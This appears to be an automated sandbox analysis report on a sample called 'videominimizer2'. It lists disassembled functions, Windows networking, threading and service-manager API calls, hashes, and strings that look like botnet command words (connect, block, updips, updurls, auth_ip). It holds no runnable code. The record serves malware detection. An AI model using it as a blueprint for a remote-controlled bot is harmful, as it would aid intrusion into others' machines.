Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 02D8611A
block, xrefs: 02D86634
disconnect, xrefs: 02D864BC

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: _memset$CriticalSection$EnterLeave_malloc_strtok$_free_swscanf
String ID: <htm$Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)$auth_ip$auth_swith$block$connect$disconnect$idle$updips$updurls
API String ID: 3441009308-1437582238
Opcode ID: a228cb55e6a86c98971a88ceaf9cfd6ffbd59ed561a49272be7d385522d4fbd7
Instruction ID: 8ffd037d7350a72ad988cbc5024c89a8ef70faec2c47e980dce645f291e67bd2
Opcode Fuzzy Hash: a228cb55e6a86c98971a88ceaf9cfd6ffbd59ed561a49272be7d385522d4fbd7
Instruction Fuzzy Hash: 99A14731648342ABEB15BB34AC25B6F7BEADF86724F14041DF48597381EB21CC05CBA6

Function 02D81CF8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 105
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 02D81D11
GetLastError.KERNEL32 ref: 02D81D23

Part of subcall function 02D81712: __EH_prolog.LIBCMT ref: 02D81717

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 02D81D59
GetLastError.KERNEL32 ref: 02D81D6B
__beginthreadex.LIBCMT ref: 02D81DB1
GetLastError.KERNEL32 ref: 02D81DC6
CloseHandle.KERNEL32(00000000), ref: 02D81DDD
CloseHandle.KERNEL32(00000000), ref: 02D81DEC
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D81E14
CloseHandle.KERNEL32(00000000), ref: 02D81E1B

Strings

thread.exit_event, xrefs: 02D81D84
thread, xrefs: 02D81DFB
thread.entry_event, xrefs: 02D81D3C

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLast$CreateEvent$H_prologObjectSingleWait__beginthreadex
String ID: thread$thread.entry_event$thread.exit_event
API String ID: 831262434-3017686385
Opcode ID: 14d7add9a77c6a8768c24895f68646ad6928cc48e2e83450fd47308dd474bbf1
Instruction ID: 5e06ddaa2c93e253b7196564f6c8f6ee0affd540d76e0515388d227709404001
Opcode Fuzzy Hash: 14d7add9a77c6a8768c24895f68646ad6928cc48e2e83450fd47308dd474bbf1
Instruction Fuzzy Hash: 26314771A043019FD700EF24D849B2BBBA5FB84751F10496DF8598B390EB709D4ACBA2

Function 02D84D86 Relevance: 16.8, APIs: 11, Instructions: 256
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 02D84D8B
RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D84DB7
RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D84DC3

Part of subcall function 02D84BED: __EH_prolog.LIBCMT ref: 02D84BF2
Part of subcall function 02D84BED: InterlockedExchange.KERNEL32(?,00000000), ref: 02D84CF2

RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D84E93
RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D84E99
RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D84EA0
RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D84EA6
RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D850A7
RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D850AD
RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D850B8
RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D850C1

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$H_prolog$ExchangeInterlocked
String ID:
API String ID: 2062355503-0
Opcode ID: cbf65e62b9220843fb1eec4a39516b890bfac00c4d9060854d8f46a6efebb15f
Instruction ID: 0de231f7bf6959a755fb3745d50248b877ae5fcf3230d03ad3228677ca758a58
Opcode Fuzzy Hash: cbf65e62b9220843fb1eec4a39516b890bfac00c4d9060854d8f46a6efebb15f
Instruction Fuzzy Hash: FFB14871D0425AEFEF21EFA0D854BEEBBB5EF04314F20405AE405A6281DB755E49CFA1

Function 00401F64 Relevance: 12.1, APIs: 8, Instructions: 121
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(?,0000000A), ref: 00401F7A
GetLastError.KERNEL32 ref: 00401F86
SizeofResource.KERNEL32(00000000), ref: 00401F93
LoadResource.KERNEL32(00000000), ref: 00401FAD
LockResource.KERNEL32(00000000), ref: 00401FB4
GlobalAlloc.KERNEL32(00000040,00000000), ref: 00401FBF
GetTickCount.KERNEL32 ref: 00401FFB
GlobalAlloc.KERNEL32(00000040,?), ref: 00402061

Memory Dump Source

Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: Resource$AllocGlobal$CountErrorFindLastLoadLockSizeofTick
String ID:
API String ID: 564119183-0
Opcode ID: 4b406982c55cd146a53e35bcfe0d224a47769fdd51ac53a5645699cce47c5184
Instruction ID: b01298f5e92dfabffd3260d40ec81ee59ee3d80feb476c4020a7475af27d6630
Opcode Fuzzy Hash: 4b406982c55cd146a53e35bcfe0d224a47769fdd51ac53a5645699cce47c5184
Instruction Fuzzy Hash: 60315C32900255EFDB105FB89F8896F7B68EF45344B10807AFA86F7281DA748941C7A8

Function 02D826DB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 02D82706
CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 02D8272B
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,02DA3163), ref: 02D82738

Part of subcall function 02D81712: __EH_prolog.LIBCMT ref: 02D81717

SetWaitableTimer.KERNEL32(?,?,000493E0,00000000,00000000,00000000), ref: 02D82778
RtlLeaveCriticalSection.NTDLL(?), ref: 02D827D9

Strings

timer, xrefs: 02D82745

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: CriticalSectionTimerWaitable$CreateEnterErrorH_prologLastLeave
String ID: timer
API String ID: 4293676635-1792073242
Opcode ID: a1ab39d58887e1c92f3c96119c17bcb09a095764b532f8d26ee186ddb47d9b2d
Instruction ID: 71829457b1fd305d6b34e2e52ff499083a417739f86cdc69efb027fadba985d2
Opcode Fuzzy Hash: a1ab39d58887e1c92f3c96119c17bcb09a095764b532f8d26ee186ddb47d9b2d
Instruction Fuzzy Hash: A3317CB1904745AFD310AF66D888B16BBA8FB48765F004A2EF85586B80E770EC15CFA5

Function 02D82B95 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32(00000000), ref: 02D82BE4
WSARecv.WS2_32(?,?,?,?,?,00000000,00000000), ref: 02D82C07

Part of subcall function 02D894FE: WSAGetLastError.WS2_32(00000000,?,?,02D82A51), ref: 02D8950C

WSASetLastError.WS2_32 ref: 02D82CD3
select.WS2_32(?,?,00000000,00000000,00000000), ref: 02D82CE7

Strings

3', xrefs: 02D82C85

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: ErrorLast$Recvselect
String ID: 3'
API String ID: 886190287-280543908
Opcode ID: c30c4ccb9e4190da704b1e356a52c15b4a60cf3ecbe178934727260057481136
Instruction ID: bef7cc2b280c32109d15d3844a876d3288d3863026b3f0b0f0682b53fe46e890
Opcode Fuzzy Hash: c30c4ccb9e4190da704b1e356a52c15b4a60cf3ecbe178934727260057481136
Instruction Fuzzy Hash: AA414BB1A093419FD710BF64D4187ABBBE9EF84754F104D1EA89987380EB74ED44CBA2

Function 02D81BA7 Relevance: 7.6, APIs: 5, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 02D81BAC
RtlEnterCriticalSection.NTDLL ref: 02D81BBC
RtlLeaveCriticalSection.NTDLL ref: 02D81BEA
RtlEnterCriticalSection.NTDLL ref: 02D81C13
RtlLeaveCriticalSection.NTDLL ref: 02D81C56

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$H_prolog
String ID:
API String ID: 1633115879-0
Opcode ID: b48c1bb4bc65d1fb0940f71e01aa7a2d511bba83b99fcab8a1eda7d9e9f917f8
Instruction ID: e07cab435781c66d50ab4c2c358bfc679eaccbb01fb5304db9c04800b597c9f8
Opcode Fuzzy Hash: b48c1bb4bc65d1fb0940f71e01aa7a2d511bba83b99fcab8a1eda7d9e9f917f8
Instruction Fuzzy Hash: 34219AB5A00604EFDB14DF68D444B9ABBB5FF49724F208549E81A97300D771ED0ACBE0

Function 02D86B98 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(0000EA60), ref: 02D860F5
RtlEnterCriticalSection.NTDLL(02DB4FC8), ref: 02D86100
RtlLeaveCriticalSection.NTDLL(02DB4FC8), ref: 02D86111

Strings

Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US), xrefs: 02D8611A

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep
String ID: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
API String ID: 1566154052-1923541051
Opcode ID: 18dac60cf870605ef23d3273b36867a2e3365006f49552fbdafc0d2e9b97d556
Instruction ID: 98e360df67929441e3a43bb6619fed638ac04f32c0a9152eb2938d56213618e1
Opcode Fuzzy Hash: 18dac60cf870605ef23d3273b36867a2e3365006f49552fbdafc0d2e9b97d556
Instruction Fuzzy Hash: 8F218B315493809ED702BA30A8555DA3FA9DF47368B8518EAD5C28B393C621EC0AC3D1

Function 00403310 Relevance: 6.1, APIs: 4, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00403336

Part of subcall function 00404454: HeapCreate.KERNEL32(00000000,00001000,00000000,0040336F,00000000), ref: 00404465
Part of subcall function 00404454: HeapDestroy.KERNEL32 ref: 004044A4

GetCommandLineA.KERNEL32 ref: 00403384
GetStartupInfoA.KERNEL32(?), ref: 004033AF
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004033D2

Part of subcall function 0040342B: ExitProcess.KERNEL32 ref: 00403448

Memory Dump Source

Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID:
API String ID: 2057626494-0
Opcode ID: b08ae2b8b777e4e577008e5565d37e94f80acee913e276c938b9cc00b58d7c54
Instruction ID: a936b3102d24e78b19d7c169988c3063d29dd1dd2c17feae02d4b7387c8d63d1
Opcode Fuzzy Hash: b08ae2b8b777e4e577008e5565d37e94f80acee913e276c938b9cc00b58d7c54
Instruction Fuzzy Hash: 172183B1900615AED704AFB5DE45A6E7F68EF44705F10413EF901B72D2DB385900CB58

Function 02D82EDD Relevance: 6.0, APIs: 4, Instructions: 49networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02D82EEE
WSASocketA.WS2_32(?,?,?,00000000,00000000,00000001), ref: 02D82EFD
WSAGetLastError.WS2_32(?,?,?,00000000,00000000,00000001), ref: 02D82F0C
setsockopt.WS2_32(00000000,00000029,0000001B,00000000,00000004), ref: 02D82F36

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: ErrorLast$Socketsetsockopt
String ID:
API String ID: 2093263913-0
Opcode ID: 7d985f151c508aa664abcdb55d41bc72e566d66cb09fbd10158520fc69ea2ff7
Instruction ID: f5268cf8a920336796766256730345715dfe720abf507bcdbed3e4cf5f9af10c
Opcode Fuzzy Hash: 7d985f151c508aa664abcdb55d41bc72e566d66cb09fbd10158520fc69ea2ff7
Instruction Fuzzy Hash: 79012576A41204BBDB206F66DC48F5B7BA9EB85765F408965F9189B281D7708D00CBA0

Function 02D82DB5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100networkCOMMON

Download Yara Rule

APIs

Part of subcall function 02D82D39: WSASetLastError.WS2_32(00000000), ref: 02D82D47
Part of subcall function 02D82D39: WSASend.WS2_32(?,?,?,?,00000000,00000000,00000000), ref: 02D82D5C

WSASetLastError.WS2_32(00000000), ref: 02D82E6D
select.WS2_32(?,00000000,00000001,00000000,00000000), ref: 02D82E83

Strings

3', xrefs: 02D82E22

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: ErrorLast$Sendselect
String ID: 3'
API String ID: 2958345159-280543908
Opcode ID: 6d93ee97d2b8d9985fa812bfeb3adc2784df870fd5dce118dcef29cc3b3a5d44
Instruction ID: 32be042536573ccafa147099c75c908a663efdeb747c17f96e0eb009ba12c8e1
Opcode Fuzzy Hash: 6d93ee97d2b8d9985fa812bfeb3adc2784df870fd5dce118dcef29cc3b3a5d44
Instruction Fuzzy Hash: 4C319AB1A002499FDB11BFA4D858BEEBBAAEF04354F00495ADC4497340E774AD95CBE0

Function 02D82AC7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02D82AEA
connect.WS2_32(?,?,?), ref: 02D82AF5

Strings

3', xrefs: 02D82B3B

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: ErrorLastconnect
String ID: 3'
API String ID: 374722065-280543908
Opcode ID: 373416389a5f74becaf6c1b7152c32b7b3ea9bc392eacf945ed3070e9f9f96eb
Instruction ID: ba8b3bf306b9baf99611129f343f402344e86a68cf2a1b6c1d845e53e80cc103
Opcode Fuzzy Hash: 373416389a5f74becaf6c1b7152c32b7b3ea9bc392eacf945ed3070e9f9f96eb
Instruction Fuzzy Hash: CA219574E01204ABCF10BFA4D4186AE7BBAEF44364F504599DC5893380DB74AE058BA1

Function 02D8353E Relevance: 4.6, APIs: 3, Instructions: 127COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02D83543

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 92b2a8bd653cb35e2bd251b8fbe6e24bb7eaedcce73edb2e2d4356729c3000e9
Instruction ID: b861a36cfea080104f471fa34a3636faa0e0cd5c3f6ec8c54ff55c83daf6ccf1
Opcode Fuzzy Hash: 92b2a8bd653cb35e2bd251b8fbe6e24bb7eaedcce73edb2e2d4356729c3000e9
Instruction Fuzzy Hash: CB512DB1904246DFCB45EF58D451AAABBB1FF08720F10859EE8699B380D775DD11CFA0

Function 02D8369A Relevance: 4.6, APIs: 3, Instructions: 60COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(?), ref: 02D836A7

Part of subcall function 02D82420: InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 02D82432
Part of subcall function 02D82420: PostQueuedCompletionStatus.KERNEL32(?,00000000,00000002,?), ref: 02D82445
Part of subcall function 02D82420: RtlEnterCriticalSection.NTDLL(?), ref: 02D82454
Part of subcall function 02D82420: InterlockedExchange.KERNEL32(?,00000001), ref: 02D82469
Part of subcall function 02D82420: RtlLeaveCriticalSection.NTDLL(?), ref: 02D82470

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$CompareCompletionEnterIncrementLeavePostQueuedStatus
String ID:
API String ID: 1601054111-0
Opcode ID: 40100419ebf096e9f8a03ff0c0f39743bd14ea84010a41156bf673287059d84c
Instruction ID: 1df50fb2faa31a88ba26403c0c2170412f559457d77d8dfee9109868e20f4c42
Opcode Fuzzy Hash: 40100419ebf096e9f8a03ff0c0f39743bd14ea84010a41156bf673287059d84c
Instruction Fuzzy Hash: A911E7B6500248EBDF21AF18DC45FAA3BA9EF04B54F104456FE5ACA390C774DC60CBA4

Function 02D910F0 Relevance: 4.5, APIs: 3, Instructions: 42threadCOMMON

Download Yara Rule

APIs

__beginthreadex.LIBCMT ref: 02D91106
CloseHandle.KERNEL32(?,?,?,?,?,00000002,02D8997E,00000000), ref: 02D91137
ResumeThread.KERNEL32(?,?,?,?,?,00000002,02D8997E,00000000), ref: 02D91145

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: CloseHandleResumeThread__beginthreadex
String ID:
API String ID: 1685284544-0
Opcode ID: 6b9984c03b489f82d550540d7875a9f4a641708d740199ed081749ca576a5c53
Instruction ID: f03e36d2ec45a065b50658f244cc801ac9c07447947ef572f528dd18a4ed7c97
Opcode Fuzzy Hash: 6b9984c03b489f82d550540d7875a9f4a641708d740199ed081749ca576a5c53
Instruction Fuzzy Hash: F4F06271740201ABEB209E58EC85FA5B3E8EF48725F24056AF558D7390C7B1EC92DE90

Function 004027EC Relevance: 4.5, APIs: 3, Instructions: 39timeCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 004027ED
CommandLineToArgvW.SHELL32(00000000), ref: 004027F4
GetLocalTime.KERNEL32(0040C2F8), ref: 0040D075

Memory Dump Source

Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: CommandLine$ArgvLocalTime
String ID:
API String ID: 3768950922-0
Opcode ID: 035321ded0275dbdbf517f29037c3f697d1548f0c8c80e996bdf42ee7b3456d6
Instruction ID: 91ef10c5929d03a7fc5d1c367ffd0594174cee04b3ea4e9aceab3d1ee68c349e
Opcode Fuzzy Hash: 035321ded0275dbdbf517f29037c3f697d1548f0c8c80e996bdf42ee7b3456d6
Instruction Fuzzy Hash: 04F0FF71D05111CBC3009BB4BF299EA7BA4AB46710700067BE5CAF60E2C7B84C4ADB1A

Function 02D81AA9 Relevance: 4.5, APIs: 3, Instructions: 18networkCOMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(02DB529C), ref: 02D81ABA
WSAStartup.WS2_32(00000002,00000000), ref: 02D81ACB
InterlockedExchange.KERNEL32(02DB52A0,00000000), ref: 02D81AD7

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: Interlocked$ExchangeIncrementStartup
String ID:
API String ID: 1856147945-0
Opcode ID: ccffd454acb4dcf945a317b1a154b2e6685b43e3511ba3c157f53d2c60acc9f2
Instruction ID: c9a692ea22ce0fe5bffb5022857a14ad2d98066e4685d40dba528a828a3b31e8
Opcode Fuzzy Hash: ccffd454acb4dcf945a317b1a154b2e6685b43e3511ba3c157f53d2c60acc9f2
Instruction Fuzzy Hash: 30D05E31D84204ABE22177A0BD1FEBC776CDB06712FD00651FE6AC43C0EA526D2885AB

Function 02DC9210 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 83fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(2D396D40), ref: 02DEC21B

Strings

([wO, xrefs: 02DEC1F9

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002DB8000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DB8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2db8000_videominimizer2.jbxd

Similarity

API ID: DeleteFile
String ID: ([wO
API String ID: 4033686569-2721458860
Opcode ID: f4f15dbc9dbfdfeeff2d6407ee082574d23fa3484512b7124d145fd0e46dc967
Instruction ID: 4fd358f6b72814defeb8e7f8f0dbaf426652c3adb911c88d3c78858be293adeb
Opcode Fuzzy Hash: f4f15dbc9dbfdfeeff2d6407ee082574d23fa3484512b7124d145fd0e46dc967
Instruction Fuzzy Hash: 65214FF251C600AFE318AF08E88177EB7E5EF94310F15892EE2C587754EA35A8518B97

Function 0040278F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(?,?,00000002), ref: 0040DE0C

Strings

\, xrefs: 00402798

Memory Dump Source

Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: ManagerOpen
String ID: \
API String ID: 1889721586-2967466578
Opcode ID: 6b02c77290a2158b51e68806f74a24035295f5ee907e826eba22e4fcde12c0cc
Instruction ID: 581ce953e34c98f85b61a1153f7898f5ed81f7c754a919ac331bd9c32609a126
Opcode Fuzzy Hash: 6b02c77290a2158b51e68806f74a24035295f5ee907e826eba22e4fcde12c0cc
Instruction Fuzzy Hash: C6014C31E08684AADF4C4BB49F79AF97FB46701710F5040BEC987B32E2D1781909DB29

Function 02D84BED Relevance: 3.1, APIs: 2, Instructions: 137COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02D84BF2

Part of subcall function 02D81BA7: __EH_prolog.LIBCMT ref: 02D81BAC
Part of subcall function 02D81BA7: RtlEnterCriticalSection.NTDLL ref: 02D81BBC
Part of subcall function 02D81BA7: RtlLeaveCriticalSection.NTDLL ref: 02D81BEA
Part of subcall function 02D81BA7: RtlEnterCriticalSection.NTDLL ref: 02D81C13
Part of subcall function 02D81BA7: RtlLeaveCriticalSection.NTDLL ref: 02D81C56

Part of subcall function 02D8D0ED: __EH_prolog.LIBCMT ref: 02D8D0F2
Part of subcall function 02D8D0ED: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 02D8D171

InterlockedExchange.KERNEL32(?,00000000), ref: 02D84CF2

Memory Dump Source

Source File: 0000000F.00000002.2537533437.0000000002D81000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2d81000_videominimizer2.jbxd

Yara matches

Similarity

API ID: CriticalSection$H_prolog$EnterExchangeInterlockedLeave
String ID:
API String ID: 1927618982-0
Opcode ID: 45b345eeb8668a2aba393744aa1bec9cf1c4050195eaf080e20cae7aaac39bc5
Instruction ID: d7c7014969f96da1f59223889762318a85347dcfdb86a85355b451c2d20ae023
Opcode Fuzzy Hash: 45b345eeb8668a2aba393744aa1bec9cf1c4050195eaf080e20cae7aaac39bc5
Instruction Fuzzy Hash: C6510775D042499FDB15EFA8C494AEEFBB5EF08314F24819AE805AB351EB309E44CF61

Function 0040DD49 Relevance: 3.1, APIs: 2, Instructions: 69fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?), ref: 0040DDA4
OpenSCManagerA.ADVAPI32(?,?,00000002), ref: 0040DE0C

Memory Dump Source

Source File: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: CopyFileManagerOpen
String ID:
API String ID: 3059512871-0
Opcode ID: e2209375a2ef0eec67d84e26e10aa896bcf1254743769b49326ebfec2aaecce5
Instruction ID: 22dde04db30ada70603b4c37316df1ccfd517d85c36d7c48d08271f1b974d6ca
Opcode Fuzzy Hash: e2209375a2ef0eec67d84e26e10aa896bcf1254743769b49326ebfec2aaecce5
Instruction Fuzzy Hash: 4E119E32A446406BDB084BB5AF36AE63FA4AB46731B48417DD0C7AB1E3C639944AC749

Function 0040DD1D Relevance: 3.1, APIs: 2, Instructions: 54fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?), ref: 0040DDA4
OpenSCManagerA.ADVAPI32(?,?,00000002), ref: 0040DE0C

Memory Dump Source

Source File: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: CopyFileManagerOpen
String ID:
API String ID: 3059512871-0
Opcode ID: fcadad99aede858d459164219a61d181d9ae7bba2945c9ed8f9046051b623c4e
Instruction ID: ab1bb31debb9e967fdb0980d350143e076b57345d99e5cc46af80213a1903095
Opcode Fuzzy Hash: fcadad99aede858d459164219a61d181d9ae7bba2945c9ed8f9046051b623c4e
Instruction Fuzzy Hash: EA014C61B162902ADB0D0B75AF75AF63F696B06A20748403DE9C3B31E3D239540DC758

Function 004022D9 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?), ref: 0040DDA4
OpenSCManagerA.ADVAPI32(?,?,00000002), ref: 0040DE0C

Memory Dump Source

Source File: 0000000F.00000002.2532782319.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.2532782319.000000000040B000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_videominimizer2.jbxd

Similarity

API ID: CopyFileManagerOpen
String ID:
API String ID: 3059512871-0
Opcode ID: dcee582eab8bcba7e5a2a6310ba82f49f9a9f2c9900a13f0e8c631b2000bd0d8
Instruction ID: 2f402ea73b8b7388582147139829f9576b91628ef0adacb3a7f4c5dbc4cf6aac
Opcode Fuzzy Hash: dcee582eab8bcba7e5a2a6310ba82f49f9a9f2c9900a13f0e8c631b2000bd0d8
Instruction Fuzzy Hash: FB014C316041145BDB4C4B71AFB9AF93BBC5704B12B40007EE587B31E2D93C594CDB28

Function 02D82D39 Relevance: 3.0, APIs: 2, Instructions: 50networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 02D82D47
WSASend.WS2_32(?,?,?,?,00000000,00000000,00000000), ref: 02D82D5C
